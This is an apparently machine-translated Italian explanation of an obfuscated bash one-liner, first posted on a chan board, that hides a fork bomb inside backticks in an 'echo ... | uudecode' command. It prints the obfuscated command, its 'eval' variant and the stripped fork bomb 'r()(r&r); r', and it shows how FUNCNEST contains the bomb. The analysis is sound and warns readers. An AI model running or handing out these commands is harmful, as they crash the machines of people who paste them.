Innanzitutto, diamo un'occhiata all'intero comando:
echo "I<RA('1E<W3t`rYWdl&r()(Y29j&r{,3Rl7Ig}&r{,T31wo});r`26<F]F;==" | uudecode
Contiene una stringa tra virgolette doppie che viene ripetuta uudecode
. Tuttavia, nota che, all'interno della stringa tra virgolette doppie c'è una stringa tra virgolette . Questa stringa viene eseguita . La stringa è:
`rYWdl&r()(Y29j&r{,3Rl7Ig}&r{,T31wo});r`
Se guardiamo cosa c'è dentro, vediamo tre comandi:
rYWdl &
r()(Y29j & r{,3Rl7Ig} & r{,T31wo})
r
Eseguendo l' espansione del controvento sul comando centrale, abbiamo:
rYWdl &
r()(Y29j & r r3Rl7Ig & r rT31wo)
r
La prima riga tenta di eseguire un comando senza senso in background. Questo non è importante.
La seconda riga è importante: definisce una funzione r
che, una volta eseguita, avvia due copie di se stessa. Ognuna di quelle copie avrebbe ovviamente lanciato altre due copie. E così via.
La terza linea corre r
, avviando la bomba a forcella.
Il resto del codice, al di fuori della stringa tra virgolette, non ha senso per l'offuscamento.
Come eseguire il comando in modo sicuro
Questo codice può essere eseguito in modo sicuro se impostiamo un limite al livello di annidamento delle funzioni. Questo può essere fatto con la FUNCNEST
variabile di bash . Qui, lo impostiamo su 2
e questo interrompe la ricorsione:
$ export FUNCNEST=2
$ echo "I<RA('1E<W3t`rYWdl&r()(Y29j&r{,3Rl7Ig}&r{,T31wo});r`26<F]F;==" | uudecode
bash: rYWdl: command not found
bash: Y29j: command not found
bash: r: maximum function nesting level exceeded (2)
bash: r: maximum function nesting level exceeded (2)
bash: r: maximum function nesting level exceeded (2)
bash: Y29j: command not found
bash: r: maximum function nesting level exceeded (2)
bash: Y29j: command not found
uudecode fatal error:
standard input: Invalid or missing 'begin' line
I messaggi di errore sopra mostrano che (a) i comandi senza senso rYWdl
e Y29j
non sono stati trovati, (b) la bomba a forcella viene ripetutamente fermata da FUNCNEST, e (c) l'uscita di echo
non inizia con begin
e, di conseguenza, non è un input valido per uudecode
.
La bomba a forcella nella sua forma più semplice
Come sarebbe la bomba a forcella se rimuovessimo l'oscuramento? Come suggeriscono njzk2 e gerrit, sarebbe simile a:
echo "`r()(r&r);r`"
Possiamo semplificarlo ulteriormente:
r()(r&r); r
Ciò consiste in due affermazioni: una definisce la funzione fork-bomb r
e la seconda parte r
.
Tutto l'altro codice, incluso il pipe to uudecode
, era lì solo per oscuramento e errata direzione.
La forma originale aveva ancora un altro livello di direzione errata
L'OP ha fornito un collegamento alla discussione del chann board in cui è apparso questo codice. Come presentato lì, il codice sembrava:
eval $(echo "I<RA('1E<W3t`rYWdl&r()(Y29j&r{,3Rl7Ig}&r{,T31wo});r`26<F]F;==" | uudecode)
Si noti uno dei primi commenti su questo codice:
Mi sono innamorato di questo. Ho copiato solo la parte che riecheggia e decodifica, ma è stata ancora biforcuta
Nel modulo sul tabellone, si potrebbe ingenuamente pensare che il problema sarebbe la eval
dichiarazione che opera sull'output di uudecode
. Ciò porterebbe a pensare che la rimozione eval
avrebbe risolto il problema. Come abbiamo visto sopra, questo è falso e pericolosamente così.